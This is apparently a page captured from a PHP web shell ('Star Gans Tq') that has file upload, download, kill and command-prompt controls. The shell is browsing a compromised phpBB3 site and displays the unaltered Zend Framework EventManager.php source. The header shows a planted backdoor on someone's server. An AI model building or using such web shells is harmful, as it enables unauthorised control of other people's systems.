.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-eventmanager/src/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-eventmanager/src/EventManager.php

    <?php
    /**
     * Zend Framework (http://framework.zend.com/)
     *
     * @link      http://github.com/zendframework/zend-eventmanager for the canonical source repository
     * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com)
     * @license   https://github.com/zendframework/zend-eventmanager/blob/master/LICENSE.md
     */
    
    namespace Zend\EventManager;
    
    use ArrayObject;
    
    /**
     * Event manager: notification system
     *
     * Use the EventManager when you want to create a per-instance notification
     * system for your objects.
     */
    class EventManager implements EventManagerInterface
    {
        /**
         * Subscribed events and their listeners
         *
         * STRUCTURE:
         * [
         *     <string name> => [
         *         <int priority> => [
         *             0 => [<callable listener>, ...]
         *         ],
         *         ...
         *     ],
         *     ...
         * ]
         *
         * NOTE:
         * This structure helps us to reuse the list of listeners
         * instead of first iterating over it and generating a new one
         * -> In result it improves performance by up to 25% even if it looks a bit strange
         *
         * @var array[]
         */
        protected $events = [];
    
        /**
         * @var EventInterface Prototype to use when creating an event at trigger().
         */
        protected $eventPrototype;
    
        /**
         * Identifiers, used to pull shared signals from SharedEventManagerInterface instance
         *
         * @var array
         */
        protected $identifiers = [];
    
        /**
         * Shared event manager
         *
         * @var null|SharedEventManagerInterface
         */
        protected $sharedManager = null;
    
        /**
         * Constructor
         *
         * Allows optionally specifying identifier(s) to use to pull signals from a
         * SharedEventManagerInterface.
         *
         * @param SharedEventManagerInterface $sharedEventManager
         * @param array $identifiers
         */
        public function __construct(SharedEventManagerInterface $sharedEventManager = null, array $identifiers = [])
        {
            if ($sharedEventManager) {
                $this->sharedManager = $sharedEventManager;
                $this->setIdentifiers($identifiers);
            }
    
            $this->eventPrototype = new Event();
        }
    
        /**
         * @inheritDoc
         */
        public function setEventPrototype(EventInterface $prototype)
        {
            $this->eventPrototype = $prototype;
        }
    
        /**
         * Retrieve the shared event manager, if composed.
         *
         * @return null|SharedEventManagerInterface $sharedEventManager
         */
        public function getSharedManager()
        {
            return $this->sharedManager;
        }
    
        /**
         * @inheritDoc
         */
        public function getIdentifiers()
        {
            return $this->identifiers;
        }
    
        /**
         * @inheritDoc
         */
        public function setIdentifiers(array $identifiers)
        {
            $this->identifiers = array_unique($identifiers);
        }
    
        /**
         * @inheritDoc
         */
        public function addIdentifiers(array $identifiers)
        {
            $this->identifiers = array_unique(array_merge(
                $this->identifiers,
                $identifiers
            ));
        }
    
        /**
         * @inheritDoc
         */
        public function trigger($eventName, $target = null, $argv = [])
        {
            $event = clone $this->eventPrototype;
            $event->setName($eventName);
    
            if ($target !== null) {
                $event->setTarget($target);
            }
    
            if ($argv) {
                $event->setParams($argv);
            }
    
            return $this->triggerListeners($event);
        }
    
        /**
         * @inheritDoc
         */
        public function triggerUntil(callable $callback, $eventName, $target = null, $argv = [])
        {
            $event = clone $this->eventPrototype;
            $event->setName($eventName);
    
            if ($target !== null) {
                $event->setTarget($target);
            }
    
            if ($argv) {
                $event->setParams($argv);
            }
    
            return $this->triggerListeners($event, $callback);
        }
    
        /**
         * @inheritDoc
         */
        public function triggerEvent(EventInterface $event)
        {
            return $this->triggerListeners($event);
        }
    
        /**
         * @inheritDoc
         */
        public function triggerEventUntil(callable $callback, EventInterface $event)
        {
            return $this->triggerListeners($event, $callback);
        }
    
        /**
         * @inheritDoc
         */
        public function attach($eventName, callable $listener, $priority = 1)
        {
            if (! is_string($eventName)) {
                throw new Exception\InvalidArgumentException(sprintf(
                    '%s expects a string for the event; received %s',
                    __METHOD__,
                    (is_object($eventName) ? get_class($eventName) : gettype($eventName))
                ));
            }
    
            $this->events[$eventName][(int) $priority][0][] = $listener;
            return $listener;
        }
    
        /**
         * @inheritDoc
         * @throws Exception\InvalidArgumentException for invalid event types.
         */
        public function detach(callable $listener, $eventName = null, $force = false)
        {
    
            // If event is wildcard, we need to iterate through each listeners
            if (null === $eventName || ('*' === $eventName && ! $force)) {
                foreach (array_keys($this->events) as $eventName) {
                    $this->detach($listener, $eventName, true);
                }
                return;
            }
    
            if (! is_string($eventName)) {
                throw new Exception\InvalidArgumentException(sprintf(
                    '%s expects a string for the event; received %s',
                    __METHOD__,
                    (is_object($eventName) ? get_class($eventName) : gettype($eventName))
                ));
            }
    
            if (! isset($this->events[$eventName])) {
                return;
            }
    
            foreach ($this->events[$eventName] as $priority => $listeners) {
                foreach ($listeners[0] as $index => $evaluatedListener) {
                    if ($evaluatedListener !== $listener) {
                        continue;
                    }
    
                    // Found the listener; remove it.
                    unset($this->events[$eventName][$priority][0][$index]);
    
                    // If the queue for the given priority is empty, remove it.
                    if (empty($this->events[$eventName][$priority][0])) {
                        unset($this->events[$eventName][$priority]);
                        break;
                    }
                }
            }
    
            // If the queue for the given event is empty, remove it.
            if (empty($this->events[$eventName])) {
                unset($this->events[$eventName]);
            }
        }
    
        /**
         * @inheritDoc
         */
        public function clearListeners($eventName)
        {
            if (isset($this->events[$eventName])) {
                unset($this->events[$eventName]);
            }
        }
    
        /**
         * Prepare arguments
         *
         * Use this method if you want to be able to modify arguments from within a
         * listener. It returns an ArrayObject of the arguments, which may then be
         * passed to trigger().
         *
         * @param  array $args
         * @return ArrayObject
         */
        public function prepareArgs(array $args)
        {
            return new ArrayObject($args);
        }
    
        /**
         * Trigger listeners
         *
         * Actual functionality for triggering listeners, to which trigger() delegate.
         *
         * @param  EventInterface $event
         * @param  null|callable $callback
         * @return ResponseCollection
         */
        protected function triggerListeners(EventInterface $event, callable $callback = null)
        {
            $name = $event->getName();
    
            if (empty($name)) {
                throw new Exception\RuntimeException('Event is missing a name; cannot trigger!');
            }
    
            if (isset($this->events[$name])) {
                $listOfListenersByPriority = $this->events[$name];
    
                if (isset($this->events['*'])) {
                    foreach ($this->events['*'] as $priority => $listOfListeners) {
                        $listOfListenersByPriority[$priority][] = $listOfListeners[0];
                    }
                }
            } elseif (isset($this->events['*'])) {
                $listOfListenersByPriority = $this->events['*'];
            } else {
                $listOfListenersByPriority = [];
            }
    
            if ($this->sharedManager) {
                foreach ($this->sharedManager->getListeners($this->identifiers, $name) as $priority => $listeners) {
                    $listOfListenersByPriority[$priority][] = $listeners;
                }
            }
    
            // Sort by priority in reverse order
            krsort($listOfListenersByPriority);
    
            // Initial value of stop propagation flag should be false
            $event->stopPropagation(false);
    
            // Execute listeners
            $responses = new ResponseCollection();
            foreach ($listOfListenersByPriority as $listOfListeners) {
                foreach ($listOfListeners as $listeners) {
                    foreach ($listeners as $listener) {
                        $response = $listener($event);
                        $responses->push($response);
    
                        // If the event was asked to stop propagating, do so
                        if ($event->propagationIsStopped()) {
                            $responses->setStopped(true);
                            return $responses;
                        }
    
                        // If the result causes our validation callback to return true,
                        // stop propagation
                        if ($callback && $callback($response)) {
                            $responses->setStopped(true);
                            return $responses;
                        }
                    }
                }
            }
    
            return $responses;
        }
    }